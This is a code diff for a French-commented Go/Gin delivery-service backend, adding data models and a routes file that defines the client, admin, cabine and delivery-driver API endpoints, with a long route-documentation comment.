ID int `json:"id"`
|
||||
CommandID int `json:"command_id"`
|
||||
IssueType string `json:"issue_type"`
|
||||
Description string `json:"description"`
|
||||
Status string `json:"status"` // "open", "in_progress", "resolved"
|
||||
ReportedBy string `json:"reported_by"`
|
||||
ResolvedBy string `json:"resolved_by,omitempty"`
|
||||
Resolution string `json:"resolution,omitempty"`
|
||||
CreatedAt time.Time `json:"created_at"`
|
||||
UpdatedAt time.Time `json:"updated_at"`
|
||||
}
|
||||
@@ -0,0 +1,17 @@
|
||||
package models
|
||||
|
||||
import "time"
|
||||
|
||||
type Media struct {
|
||||
ID int `json:"id"`
|
||||
ProductID int `json:"product_id"`
|
||||
Type string `json:"type"`
|
||||
URL string `json:"url"`
|
||||
CreatedAt time.Time `json:"created_at"` // ✅ Ajouté
|
||||
}
|
||||
|
||||
// Méthodes pour l'interface Database
|
||||
func (m *Media) GetProductID() int { return m.ProductID }
|
||||
func (m *Media) GetType() string { return m.Type }
|
||||
func (m *Media) GetURL() string { return m.URL }
|
||||
func (m *Media) SetID(id int) { m.ID = id }
|
||||
@@ -0,0 +1,16 @@
|
||||
package models
|
||||
|
||||
import "time"
|
||||
|
||||
type Panier struct {
|
||||
ID int `json:"id"`
|
||||
Username string `json:"username"`
|
||||
ProductID int `json:"product_id"`
|
||||
ProductName string `json:"product_name"`
|
||||
Category string `json:"category"`
|
||||
Description string `json:"description"`
|
||||
Quantity float64 `json:"quantity"`
|
||||
Price float64 `json:"price"`
|
||||
CreatedAt time.Time `json:"created_at"`
|
||||
UpdatedAt time.Time `json:"updated_at,omitempty"`
|
||||
}
|
||||
@@ -0,0 +1,45 @@
|
||||
package models
|
||||
|
||||
import "time"
|
||||
|
||||
type Product struct {
|
||||
ID int `json:"id"`
|
||||
Name string `json:"name" binding:"required"`
|
||||
Category string `json:"category" binding:"required"`
|
||||
Description string `json:"description"`
|
||||
Stock float64 `json:"stock"` // ← ajouter le stock ici
|
||||
Prices []ProductPrice `json:"prices"`
|
||||
Media []Media `json:"media,omitempty"`
|
||||
CreatedAt time.Time `json:"created_at"`
|
||||
UpdatedAt time.Time `json:"updated_at"`
|
||||
}
|
||||
|
||||
type ProductPrice struct {
|
||||
ID int `json:"id"`
|
||||
ProductID int `json:"product_id"`
|
||||
Quantity int `json:"quantity" binding:"required"`
|
||||
Price float64 `json:"price" binding:"required"`
|
||||
CreatedAt time.Time `json:"created_at"`
|
||||
}
|
||||
|
||||
type StockInfo struct {
|
||||
ProductID int `json:"product_id"`
|
||||
ProductName string `json:"product_name"`
|
||||
Category string `json:"category"`
|
||||
Quantity int `json:"quantity"`
|
||||
Reserved int `json:"reserved"`
|
||||
Available int `json:"available"`
|
||||
LastUpdated string `json:"last_updated"`
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// MÉTHODES POUR L'INTERFACE ProductInterface
|
||||
// ============================================
|
||||
func (p *Product) GetName() string { return p.Name }
|
||||
func (p *Product) GetCategory() string { return p.Category }
|
||||
func (p *Product) GetDescription() string { return p.Description }
|
||||
func (p *Product) GetStock() float64 { return p.Stock } // ← méthode pour le stock
|
||||
func (p *Product) GetPrices() []ProductPrice { return p.Prices }
|
||||
func (p *Product) SetID(id int) { p.ID = id }
|
||||
func (p *Product) SetCreatedAt(t time.Time) { p.CreatedAt = t }
|
||||
func (p *Product) SetUpdatedAt(t time.Time) { p.UpdatedAt = t }
|
||||
@@ -0,0 +1,29 @@
|
||||
package models
|
||||
|
||||
import "time"
|
||||
|
||||
type CommandQueue struct {
|
||||
CommandID int
|
||||
Username string
|
||||
TotalPrice float64
|
||||
Address string
|
||||
Lat float64 // ajouter
|
||||
Lng float64 // ajouter
|
||||
CreatedAt time.Time
|
||||
EstimatedETA int
|
||||
}
|
||||
|
||||
type DeliveryPersonStatus struct {
|
||||
Username string `json:"username"`
|
||||
Status string `json:"status"` // "available", "busy", "offline"
|
||||
CurrentCommand int `json:"current_command,omitempty"`
|
||||
LastUpdate time.Time `json:"last_update"`
|
||||
}
|
||||
|
||||
type StockReservation struct {
|
||||
ProductID int `json:"product_id"`
|
||||
Quantity int `json:"quantity"`
|
||||
Username string `json:"username"`
|
||||
ExpiresAt time.Time `json:"expires_at"`
|
||||
CommandID int `json:"command_id"`
|
||||
}
|
||||
@@ -0,0 +1,40 @@
|
||||
package models
|
||||
|
||||
type Incident struct {
|
||||
Type string `json:"type"`
|
||||
Icon int `json:"iconCategory"`
|
||||
Description string `json:"description"`
|
||||
}
|
||||
|
||||
type IncidentResponse struct {
|
||||
Incidents []struct {
|
||||
Type string `json:"type"`
|
||||
Icon int `json:"iconCategory"`
|
||||
Description string `json:"description"`
|
||||
} `json:"incidents"`
|
||||
}
|
||||
|
||||
type RouteSummary struct {
|
||||
TravelTimeInSeconds int `json:"travelTimeInSeconds"`
|
||||
TravelTimeInMinutes int `json:"travelTimeInMinutes"` // Calculé
|
||||
LengthInMeters int `json:"lengthInMeters"`
|
||||
LengthInKm float64 `json:"lengthInKm"` // Calculé
|
||||
TrafficDelayInSeconds int `json:"trafficDelayInSeconds,omitempty"`
|
||||
DepartureTime string `json:"departureTime,omitempty"`
|
||||
ArrivalTime string `json:"arrivalTime,omitempty"`
|
||||
}
|
||||
|
||||
type RouteResponse struct {
|
||||
Routes []struct {
|
||||
Summary RouteSummary `json:"summary"`
|
||||
Legs []struct {
|
||||
Summary RouteSummary `json:"summary"`
|
||||
} `json:"legs,omitempty"`
|
||||
} `json:"routes"`
|
||||
}
|
||||
|
||||
// IncidentsWithRoute combine incidents et informations de route
|
||||
type IncidentsWithRoute struct {
|
||||
Incidents []Incident `json:"incidents"`
|
||||
Route RouteSummary `json:"route"`
|
||||
}
|
||||
@@ -0,0 +1,27 @@
|
||||
package models
|
||||
|
||||
type UpdateClientProfileRequest struct {
|
||||
Username string `json:"username,omitempty"`
|
||||
Password string `json:"password,omitempty"` // Optionnel
|
||||
Nom string `json:"nom,omitempty"`
|
||||
Prenom string `json:"prenom,omitempty"`
|
||||
Telephone string `json:"telephone,omitempty"`
|
||||
}
|
||||
|
||||
type UpdateUserProfileRequest struct {
|
||||
Username string `json:"username,omitempty"`
|
||||
Password string `json:"password,omitempty"` // Optionnel
|
||||
Role string `json:"role,omitempty"`
|
||||
}
|
||||
|
||||
type AdminUpdateClientRequest struct {
|
||||
Username string `json:"username,omitempty"`
|
||||
Password string `json:"password,omitempty"` // Optionnel
|
||||
Nom string `json:"nom,omitempty"`
|
||||
Prenom string `json:"prenom,omitempty"`
|
||||
Telephone string `json:"telephone,omitempty"`
|
||||
Command *int `json:"command,omitempty"`
|
||||
Point *int `json:"point,omitempty"`
|
||||
PointsZipette *int `json:"points_zipette,omitempty"`
|
||||
Amende *float64 `json:"amende,omitempty"`
|
||||
}
|
||||
@@ -0,0 +1,8 @@
|
||||
package models
|
||||
|
||||
type User struct {
|
||||
ID int `json:"id"`
|
||||
Username string `json:"username"`
|
||||
Password string `json:"password,omitempty"` // omitempty pour ne pas l'exposer dans les réponses JSON
|
||||
Role string `json:"role"` // "user" ou "admin"
|
||||
}
|
||||
@@ -0,0 +1,452 @@
|
||||
// ============================================
|
||||
// routes/routes.go - VERSION CORRIGÉE COMPLÈTE
|
||||
// ============================================
|
||||
|
||||
package routes
|
||||
|
||||
import (
|
||||
"gestion/db"
|
||||
"gestion/handlers"
|
||||
"gestion/middleware"
|
||||
"gestion/services"
|
||||
|
||||
"github.com/gin-gonic/gin"
|
||||
)
|
||||
|
||||
func SetupRoutes(router *gin.Engine, database *db.Database, geoService *services.GeoService) {
|
||||
|
||||
// ============================================
|
||||
// 🔐 MIDDLEWARE GLOBAL
|
||||
// ============================================
|
||||
router.Use(func(c *gin.Context) {
|
||||
c.Set("database", database)
|
||||
c.Set("geoService", geoService)
|
||||
})
|
||||
|
||||
// ============================================
|
||||
// 📋 PATTERN v1: CLIENT API
|
||||
// ============================================
|
||||
|
||||
// ============================================
|
||||
// 👤 AUTH ROUTES (v1) - PUBLIC
|
||||
// ============================================
|
||||
authGroupV1 := router.Group("/api/v1/auth")
|
||||
{
|
||||
authGroupV1.POST("/register", handlers.RegisterClient)
|
||||
authGroupV1.POST("/login", handlers.LoginClient)
|
||||
authGroupV1.POST("/logout", handlers.LogoutClient)
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// 📦 PRODUITS (v1) - PUBLIC (SANS middleware!)
|
||||
// ============================================
|
||||
productsGroupV1 := router.Group("/api/v1")
|
||||
{
|
||||
productsGroupV1.GET("/products", handlers.GetAllProducts)
|
||||
productsGroupV1.GET("/products/:id", handlers.GetProductByID)
|
||||
productsGroupV1.GET("/products/category/:category", handlers.GetProductsByCategory)
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// 🛒 PANIER (v1) - AVEC CLIENT MIDDLEWARE + SESSION
|
||||
// ============================================
|
||||
cartGroupV1 := router.Group("/api/v1")
|
||||
cartGroupV1.Use(middleware.ClientMiddleware)
|
||||
cartGroupV1.Use(middleware.ClientSessionMiddleware)
|
||||
{
|
||||
// Panier
|
||||
cartGroupV1.POST("/panier/add", handlers.AddProductsBasket)
|
||||
cartGroupV1.GET("/panier/:username", handlers.GetAllBaskets)
|
||||
cartGroupV1.DELETE("/panier/remove", handlers.DeleteProductFromBasket)
|
||||
cartGroupV1.DELETE("/panier/clear", handlers.ClearBasket) // ✅ CORRIGÉ - Sans :username
|
||||
|
||||
// Commandes
|
||||
cartGroupV1.POST("/checkout", handlers.ValidateBasket) // ✅ Auto-assign GPS
|
||||
cartGroupV1.GET("/my-commands", handlers.GetMyCommandsWithTracking) // ✅ Avec suivi
|
||||
|
||||
// ⭐ NOUVEAUX - SUIVI CLIENT TEMPS RÉEL
|
||||
cartGroupV1.GET("/commands/:id/eta", handlers.GetOrderETA) // ✅ AJOUTÉ
|
||||
cartGroupV1.GET("/commands/:id/status", handlers.GetCommandStatus) // ✅ AJOUTÉ
|
||||
cartGroupV1.GET("/commands/:id/tracking", handlers.GetCommandTracking) // ✅ AJOUTÉ
|
||||
cartGroupV1.GET("/commands/:id", handlers.GetCommandByID)
|
||||
cartGroupV1.GET("/commands/:id/items", handlers.GetCommandItemsWithDetails)
|
||||
// Approbation livraison
|
||||
cartGroupV1.POST("/commands/:id/approve", handlers.ApproveDelivery)
|
||||
// ⭐ NOUVEAU - HISTORIQUE DES COMMANDES TERMINÉES
|
||||
cartGroupV1.GET("/my-commands/history/detailed", handlers.GetMyCompletedOrdersWithItems)
|
||||
cartGroupV1.GET("/commands/:id/history", handlers.GetOrderHistory)
|
||||
// ⭐ NOUVEAU - ANNULATION DE COMMANDE (CLIENT)
|
||||
cartGroupV1.POST("/commands/:id/cancel", handlers.CancelCommandByClient)
|
||||
cartGroupV1.GET("/my-cancellation-history", handlers.GetMyCancellationHistory)
|
||||
|
||||
// ⭐ NOUVEAU - HISTORIQUE DES COMMANDES TERMINÉES
|
||||
cartGroupV1.GET("/my-commands/history", handlers.GetClientCommandsHistory)
|
||||
// ⭐⭐ PÉNALITÉS CLIENT
|
||||
cartGroupV1.GET("/penalties", handlers.GetMyPenalties) // Voir mes pénalités
|
||||
|
||||
// 👤 PROFIL CLIENT - MODIFICATION PAR LE CLIENT
|
||||
cartGroupV1.PUT("/profile/update", handlers.UpdateMyProfile) // ✅ Modifier mon profil
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// 🌍 GÉOCODAGE PUBLIC (v1)
|
||||
// ============================================
|
||||
geoGroupV1 := router.Group("/api/v1")
|
||||
{
|
||||
geoGroupV1.POST("/geocode", handlers.GeocodeAddress)
|
||||
geoGroupV1.POST("/validate-address", handlers.ValidateAddress)
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// 📋 PATTERN v2: ADMIN API
|
||||
// ============================================
|
||||
|
||||
// ============================================
|
||||
// 👤 ADMIN AUTH (v2) - PUBLIC
|
||||
// ============================================
|
||||
adminAuthGroupV2 := router.Group("/api/v2/admin/auth")
|
||||
{
|
||||
adminAuthGroupV2.POST("/register", handlers.RegisterAdmin)
|
||||
adminAuthGroupV2.POST("/login", handlers.LoginAdmin)
|
||||
adminAuthGroupV2.POST("/logout", handlers.LogoutAdmin)
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// 🔒 ADMIN PROTECTED (v2) - AVEC ADMIN MIDDLEWARE
|
||||
// ============================================
|
||||
adminGroupV2 := router.Group("/api/v2/admin/protected")
|
||||
adminGroupV2.Use(middleware.AdminMiddleware)
|
||||
{
|
||||
// ============================================
|
||||
// CLIENT - GESTION
|
||||
// ============================================
|
||||
adminGroupV2.GET("/all/clients", handlers.GetAllClients)
|
||||
adminGroupV2.GET("/all/users", handlers.GetAllUsers)
|
||||
// ⭐⭐ MODIFICATION DE PROFILS PAR ADMIN
|
||||
adminGroupV2.PUT("/clients/:id", handlers.UpdateClientByAdmin) // ✅ Modifier un client
|
||||
adminGroupV2.PUT("/users/:id", handlers.UpdateUserByAdmin) // ✅ Modifier un user
|
||||
adminGroupV2.DELETE("/clients/:id", handlers.DeleteClient)
|
||||
adminGroupV2.DELETE("/users/:id", handlers.DeleteUser)
|
||||
// Get location livreur
|
||||
adminGroupV2.GET("/commands/:id/deliveryman/location", handlers.GetDeliverymanLocationForCommand)
|
||||
// ============================================
|
||||
// PRODUITS - GESTION
|
||||
// ============================================
|
||||
adminGroupV2.POST("/products", handlers.CreateProduct)
|
||||
adminGroupV2.GET("/products", handlers.GetAllProducts)
|
||||
adminGroupV2.GET("/products/:id", handlers.GetProductByID)
|
||||
adminGroupV2.PUT("/products/update/:id", handlers.UpdateProduct)
|
||||
adminGroupV2.DELETE("/products/:id", handlers.DeleteProduct)
|
||||
adminGroupV2.POST("/products/:id/media", handlers.UploadMedia)
|
||||
adminGroupV2.DELETE("/products/:id/media/:media_id", handlers.DeleteMedia)
|
||||
// ============================================
|
||||
// COMMANDES - GESTION DE BASE
|
||||
// ============================================
|
||||
adminGroupV2.GET("/orders", handlers.GetAllCommands)
|
||||
adminGroupV2.GET("/orders/:id", handlers.GetCommandByID)
|
||||
adminGroupV2.PUT("/orders/:id/address", handlers.UpdateCommandAddress)
|
||||
adminGroupV2.POST("/orders/:id/force-validate", handlers.ValidateDelivery)
|
||||
|
||||
// ============================================
|
||||
// ⭐ AUTO-ASSIGNATION GPS - ROUTES CRITIQUES
|
||||
// ============================================
|
||||
adminGroupV2.POST("/orders/:id/auto-assign", handlers.AutoAssignNearestDeliveryPerson)
|
||||
adminGroupV2.POST("/orders/auto-assign-all", handlers.AutoAssignAllPendingCommands)
|
||||
|
||||
// ============================================
|
||||
// RECHERCHE DU LIVREUR LE PLUS PROCHE
|
||||
// ============================================
|
||||
adminGroupV2.POST("/delivery/nearest", handlers.FindNearestDeliveryPerson)
|
||||
adminGroupV2.POST("/delivery/distances", handlers.GetAllDeliveryDistances)
|
||||
|
||||
// ============================================
|
||||
// GESTION DES QUEUES DES LIVREURS
|
||||
// ============================================
|
||||
adminGroupV2.GET("/delivery/queues", handlers.GetAllDeliveryQueues)
|
||||
adminGroupV2.GET("/delivery/:username/queue", handlers.GetDeliverymanQueue)
|
||||
|
||||
// ============================================
|
||||
// GÉOCODAGE (Admin uniquement)
|
||||
// ============================================
|
||||
adminGroupV2.POST("/validate-address", handlers.ValidateAddress)
|
||||
adminGroupV2.POST("/geocode", handlers.GeocodeAddress)
|
||||
|
||||
// ============================================
|
||||
// GESTION LIVREURS
|
||||
// ============================================
|
||||
adminGroupV2.GET("/delivery-persons", handlers.GetAvailableDeliveryPersons)
|
||||
adminGroupV2.GET("/delivery-persons/:username", handlers.GetDeliveryPersonDetails)
|
||||
adminGroupV2.POST("/delivery-persons/:username/assign/:command_id", handlers.AssignDeliveryPerson)
|
||||
adminGroupV2.PUT("/delivery-persons/:username/status", handlers.UpdateDeliveryPersonStatusAdmin)
|
||||
adminGroupV2.GET("/delivery-persons/:username/stats", handlers.GetDeliveryPersonStats)
|
||||
adminGroupV2.GET("/delivery-persons/:username/history", handlers.GetDeliveryPersonHistory)
|
||||
adminGroupV2.GET("/delivery-persons/:username/location", handlers.GetDeliveryPersonLocation) // ⭐ AJOUTÉ
|
||||
adminGroupV2.PUT("/delivery-persons/update/:username/location", handlers.UpdateDeliveryPersonLocationAdmin)
|
||||
adminGroupV2.DELETE("/delivery-persons/:username/queue/:command_id", handlers.RemoveCommandFromQueue)
|
||||
adminGroupV2.GET("/delivery-persons/:username/map-links", handlers.GetDeliveryPersonMapLinks)
|
||||
// Commandes annulées
|
||||
adminGroupV2.GET("/orders/cancelled", handlers.GetAllCancelledOrders)
|
||||
// ============================================
|
||||
// ⭐⭐ PÉNALITÉS - GESTION ADMIN
|
||||
// ============================================
|
||||
adminGroupV2.POST("/penalty", handlers.ApplyClientPenalty) // Appliquer pénalité
|
||||
adminGroupV2.GET("/client/:username/penalties", handlers.GetClientPenaltiesAdmin) // Voir pénalités client
|
||||
adminGroupV2.POST("/client/:username/penalties/reset", handlers.ResetClientPenaltiesAdmin) // Reset pénalités
|
||||
adminGroupV2.GET("/penalties/all", handlers.GetAllClientsWithPenalties) // Liste clients avec pénalités
|
||||
adminGroupV2.GET("/penalties/stats", handlers.GetPenaltiesStats)
|
||||
|
||||
// ============================================
|
||||
// ⭐⭐ ALERTES POLICE - GESTION ADMIN
|
||||
// ============================================
|
||||
adminGroupV2.GET("/alerts/:id", handlers.GetAlert) // Détails d'une alerte
|
||||
adminGroupV2.DELETE("/delete/alerts/:id", handlers.DeleteAlert) // Supprimer une alerte
|
||||
adminGroupV2.GET("/alerts", handlers.GetActiveAlerts) // ⭐ AJOUTÉ - Toutes les alertes actives
|
||||
adminGroupV2.GET("/all/alerts", handlers.GetAllAlerts)
|
||||
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// 👨💼 CABINE ROUTES (v1) - AVEC CABINE MIDDLEWARE
|
||||
// ============================================
|
||||
cabineGroupV1 := router.Group("/api/v1/cabine")
|
||||
cabineGroupV1.Use(middleware.CabineMiddleware)
|
||||
{
|
||||
cabineGroupV1.GET("/commands/:id/items", handlers.ShowItems)
|
||||
cabineGroupV1.PUT("/items/:item_id/status", handlers.UpdateItemStatus)
|
||||
cabineGroupV1.GET("/commands/:id/deliveryman/location", handlers.GetDeliverymanLocationForCommand)
|
||||
cabineGroupV1.GET("/all/deliveryman", handlers.GetAllDeliveryMen)
|
||||
cabineGroupV1.DELETE("/commands/:id", handlers.DeleteCommandByCabine)
|
||||
// ⭐ NOUVEAU - ANNULATION PAR CABINE
|
||||
cabineGroupV1.GET("/commands/cancelled", handlers.GetAllCancelledOrders)
|
||||
cabineGroupV1.POST("/penalty", handlers.ApplyClientPenalty) // Appliquer pénalité
|
||||
cabineGroupV1.GET("/client/:username/penalties", handlers.GetClientPenaltiesAdmin) // Voir pénalités client
|
||||
cabineGroupV1.POST("/client/:username/penalties/reset", handlers.ResetClientPenaltiesAdmin) // Reset pénalités
|
||||
cabineGroupV1.GET("/penalties/all", handlers.GetAllClientsWithPenalties) // Liste clients avec pénalités
|
||||
cabineGroupV1.GET("/penalties/stats", handlers.GetPenaltiesStats)
|
||||
|
||||
// ============================================
|
||||
// ⭐⭐ ALERTES POLICE - CONSULTATION CABINE
|
||||
// ============================================
|
||||
cabineGroupV1.GET("/alerts/:id", handlers.GetAlert) // Détails d'une alerte
|
||||
cabineGroupV1.GET("/alerts", handlers.GetActiveAlerts) // ⭐ AJOUTÉ - Toutes les alertes actives
|
||||
cabineGroupV1.GET("/all/alerts", handlers.GetAllAlerts)
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// 👨🚚 LIVREUR ROUTES (v1) - AVEC LIVREUR MIDDLEWARE
|
||||
// ============================================
|
||||
livreurGroupV1 := router.Group("/api/v1/livreur")
|
||||
livreurGroupV1.Use(middleware.LivreurMiddleware)
|
||||
{
|
||||
// ============================================
|
||||
// LIVRAISONS
|
||||
// ============================================
|
||||
livreurGroupV1.GET("/deliveries", handlers.GetMyDeliveries) // ✅ Données filtrées
|
||||
livreurGroupV1.GET("/deliveries/:id", handlers.GetDeliveryDetails) // ✅ Détail filtré
|
||||
livreurGroupV1.POST("/deliveries/:id/start", handlers.StartDelivery)
|
||||
livreurGroupV1.PUT("/deliveries/:id/status", handlers.UpdateDeliveryStatus) // ✅ Avec GPS
|
||||
|
||||
// ============================================
|
||||
// POSITION GPS
|
||||
// ============================================
|
||||
livreurGroupV1.POST("/location/update", handlers.UpdateLivreurLocation)
|
||||
livreurGroupV1.GET("/location", handlers.GetMyLocation)
|
||||
|
||||
// ============================================
|
||||
// STATUT LIVREUR
|
||||
// ============================================
|
||||
livreurGroupV1.POST("/update/status", handlers.UpdateDeliveryPersonStatus)
|
||||
livreurGroupV1.GET("/status", handlers.GetMyStatus)
|
||||
|
||||
// ============================================
|
||||
// QUEUE PERSONNELLE
|
||||
// ============================================
|
||||
livreurGroupV1.GET("/queue", handlers.GetMyQueue)
|
||||
|
||||
// ============================================
|
||||
// ALERTES POLICE
|
||||
// ============================================
|
||||
livreurGroupV1.POST("/alert", handlers.AlertPolice) // ⭐ AJOUTÉ - Créer une alerte
|
||||
livreurGroupV1.DELETE("/alert/:id", handlers.EndAlert) // Mettre fin à une alerte
|
||||
livreurGroupV1.GET("/alerts", handlers.GetMyAlerts) // Voir mes alertes
|
||||
livreurGroupV1.GET("/alert/:id", handlers.GetAlert) // Détail d'une alerte
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// 📝 DOCUMENTATION COMPLÈTE
|
||||
// ============================================
|
||||
|
||||
/*
|
||||
LISTE COMPLÈTE DES ROUTES:
|
||||
|
||||
═══════════════════════════════════════════════════════════════
|
||||
CLIENT API (v1) - /api/v1
|
||||
═══════════════════════════════════════════════════════════════
|
||||
|
||||
📌 AUTH (PUBLIC)
|
||||
POST /api/v1/auth/register ✅ Créer compte client
|
||||
POST /api/v1/auth/login ✅ Login client
|
||||
POST /api/v1/auth/logout ✅ Logout client
|
||||
|
||||
📌 PRODUITS (PUBLIC)
|
||||
GET /api/v1/products ✅ Tous les produits
|
||||
GET /api/v1/products/:id ✅ Un produit
|
||||
GET /api/v1/products/category/:cat ✅ Par catégorie
|
||||
GET /api/v1/health ✅ Health check
|
||||
|
||||
📌 GÉOCODAGE (PUBLIC)
|
||||
POST /api/v1/geocode ✅ Convertir adresse en GPS
|
||||
POST /api/v1/validate-address ✅ Valider une adresse
|
||||
|
||||
📌 PANIER (AUTH CLIENT) 🔒
|
||||
POST /api/v1/panier/add ✅ Ajouter au panier
|
||||
GET /api/v1/panier/:username ✅ Voir panier
|
||||
DELETE /api/v1/panier/remove ✅ Supprimer du panier
|
||||
DELETE /api/v1/panier/clear ✅ Vider panier
|
||||
|
||||
📌 COMMANDES (AUTH CLIENT) 🔒
|
||||
POST /api/v1/checkout ✅ Valider panier → AUTO-ASSIGN GPS
|
||||
GET /api/v1/my-commands ✅ Mes commandes avec suivi
|
||||
|
||||
GET /api/v1/commands/:id/eta ⭐ NOUVEAU - ETA de la commande
|
||||
GET /api/v1/commands/:id/status ⭐ NOUVEAU - Statut temps réel
|
||||
GET /api/v1/commands/:id/tracking ⭐ NOUVEAU - Timeline détaillée
|
||||
|
||||
POST /api/v1/commands/:id/approve ✅ Approuver livraison
|
||||
POST /api/v1/commands/:id/cancel ⭐ NOUVEAU - Annuler commande
|
||||
GET /api/v1/my-cancellation-history ⭐ NOUVEAU - Historique annulations
|
||||
GET /api/v1/my-commands/history ⭐ NOUVEAU - Historique commandes
|
||||
GET /api/v1/my-commands/history/detailed ⭐ NOUVEAU - Historique détaillé
|
||||
GET /api/v1/commands/:id/history ⭐ NOUVEAU - Historique d'une commande
|
||||
|
||||
📌 PÉNALITÉS (AUTH CLIENT) 🔒
|
||||
GET /api/v1/penalties ⭐ NOUVEAU - Voir mes pénalités
|
||||
|
||||
📌 PROFIL (AUTH CLIENT) 🔒
|
||||
PUT /api/v1/profile/update ⭐⭐ NOUVEAU - Modifier mon profil
|
||||
|
||||
═══════════════════════════════════════════════════════════════
|
||||
ADMIN API (v2) - /api/v2/admin
|
||||
═══════════════════════════════════════════════════════════════
|
||||
|
||||
📌 AUTH (PUBLIC)
|
||||
POST /api/v2/admin/auth/register ✅ Créer compte admin
|
||||
POST /api/v2/admin/auth/login ✅ Login admin
|
||||
POST /api/v2/admin/auth/logout ✅ Logout admin
|
||||
|
||||
📌 GESTION UTILISATEURS (AUTH ADMIN) 🔒
|
||||
GET /api/v2/admin/protected/all/clients ✅ Liste tous les clients
|
||||
GET /api/v2/admin/protected/all/users ✅ Liste tous les users
|
||||
PUT /api/v2/admin/protected/clients/:id ⭐⭐ NOUVEAU - Modifier un client
|
||||
PUT /api/v2/admin/protected/users/:id ⭐⭐ NOUVEAU - Modifier un user
|
||||
|
||||
📌 PRODUITS (AUTH ADMIN) 🔒
|
||||
GET /api/v2/admin/protected/products ✅ Tous produits
|
||||
POST /api/v2/admin/protected/products ✅ Créer produit
|
||||
GET /api/v2/admin/protected/products/:id ✅ Détail produit
|
||||
PUT /api/v2/admin/protected/products/:id ✅ Modifier produit
|
||||
DELETE /api/v2/admin/protected/products/:id ✅ Supprimer produit
|
||||
|
||||
📌 COMMANDES (AUTH ADMIN) 🔒
|
||||
GET /api/v2/admin/protected/orders ✅ Toutes commandes
|
||||
GET /api/v2/admin/protected/orders/:id ✅ Détail commande
|
||||
PUT /api/v2/admin/protected/orders/:id/address ✅ Modifier adresse
|
||||
POST /api/v2/admin/protected/orders/:id/force-validate ✅ Forcer validation
|
||||
GET /api/v2/admin/protected/orders/cancelled ✅ Commandes annulées
|
||||
GET /api/v2/admin/protected/commands/:id/deliveryman/location ✅ Position livreur pour commande
|
||||
|
||||
📌 AUTO-ASSIGNATION GPS (AUTH ADMIN) 🔒 ⭐
|
||||
POST /api/v2/admin/protected/orders/:id/auto-assign ✅ Assigner 1 commande
|
||||
POST /api/v2/admin/protected/commands/auto-assign-all ✅ Assigner toutes
|
||||
|
||||
📌 RECHERCHE LIVREUR (AUTH ADMIN) 🔒 ⭐
|
||||
POST /api/v2/admin/protected/delivery/nearest ✅ Livreur le plus proche
|
||||
POST /api/v2/admin/protected/delivery/distances ✅ Tous livreurs + distances
|
||||
|
||||
📌 GESTION QUEUES (AUTH ADMIN) 🔒 ⭐
|
||||
GET /api/v2/admin/protected/delivery/queues ✅ Toutes les queues
|
||||
GET /api/v2/admin/protected/delivery/:username/queue ✅ Queue d'un livreur
|
||||
|
||||
📌 VISUALISATION (AUTH ADMIN) 🔒 ⭐
|
||||
GET /api/v2/admin/protected/delivery/heatmap ✅ Heatmap livreurs
|
||||
|
||||
📌 GÉOCODAGE (AUTH ADMIN) 🔒
|
||||
POST /api/v2/admin/protected/geocode ✅ Convertir adresse
|
||||
POST /api/v2/admin/protected/validate-address ✅ Valider adresse
|
||||
|
||||
📌 GESTION LIVREURS (AUTH ADMIN) 🔒
|
||||
GET /api/v2/admin/protected/delivery-persons ✅ Liste livreurs
|
||||
GET /api/v2/admin/protected/delivery-persons/:username ✅ Détails d'un livreur
|
||||
GET /api/v2/admin/protected/delivery-persons/:username/stats ✅ Statistiques livreur
|
||||
GET /api/v2/admin/protected/delivery-persons/:username/history ✅ Historique livreur
|
||||
GET /api/v2/admin/protected/delivery-persons/:username/location ⭐ NOUVEAU - Position GPS livreur
|
||||
PUT /api/v2/admin/protected/delivery-persons/:username/location ✅ Modifier position livreur
|
||||
PUT /api/v2/admin/protected/delivery-persons/:username/status ✅ Modifier statut livreur
|
||||
POST /api/v2/admin/protected/delivery-persons/:username/assign/:command_id ✅ Assigner manuellement
|
||||
DELETE /api/v2/admin/protected/delivery-persons/:username/queue/:command_id ✅ Retirer de la queue
|
||||
GET /api/v2/admin/protected/delivery-persons/:username/map-links ✅ Liens carte
|
||||
|
||||
📌 PÉNALITÉS (AUTH ADMIN) 🔒
|
||||
POST /api/v2/admin/protected/penalty ✅ Appliquer pénalité
|
||||
GET /api/v2/admin/protected/client/:username/penalties ✅ Voir pénalités client
|
||||
POST /api/v2/admin/protected/client/:username/penalties/reset ✅ Reset pénalités
|
||||
GET /api/v2/admin/protected/penalties/all ✅ Tous clients avec pénalités
|
||||
GET /api/v2/admin/protected/penalties/stats ✅ Stats pénalités
|
||||
|
||||
═══════════════════════════════════════════════════════════════
|
||||
CABINE API (v1) - /api/v1/cabine
|
||||
═══════════════════════════════════════════════════════════════
|
||||
|
||||
📌 GESTION ITEMS (AUTH CABINE) 🔒
|
||||
GET /api/v1/cabine/commands/:id/items ✅ Voir items d'une commande
|
||||
PUT /api/v1/cabine/items/:item_id/status ✅ Changer statut item
|
||||
GET /api/v1/cabine/commands/cancelled ✅ Commandes annulées
|
||||
GET /api/v1/cabine/commands/:id/deliveryman/location ✅ Position livreur pour commande
|
||||
|
||||
📌 PÉNALITÉS (AUTH CABINE) 🔒
|
||||
POST /api/v1/cabine/penalty ✅ Appliquer pénalité
|
||||
GET /api/v1/cabine/client/:username/penalties ✅ Voir pénalités client
|
||||
POST /api/v1/cabine/client/:username/penalties/reset ✅ Reset pénalités
|
||||
GET /api/v1/cabine/penalties/all ✅ Tous clients avec pénalités
|
||||
GET /api/v1/cabine/penalties/stats ✅ Stats pénalités
|
||||
|
||||
═══════════════════════════════════════════════════════════════
|
||||
LIVREUR API (v1) - /api/v1/livreur
|
||||
═══════════════════════════════════════════════════════════════
|
||||
|
||||
📌 LIVRAISONS (AUTH LIVREUR) 🔒
|
||||
GET /api/v1/livreur/deliveries ✅ Mes livraisons (DONNÉES FILTRÉES)
|
||||
GET /api/v1/livreur/deliveries/:id ⭐ NOUVEAU - Détail livraison
|
||||
POST /api/v1/livreur/deliveries/:id/start ✅ Démarrer livraison
|
||||
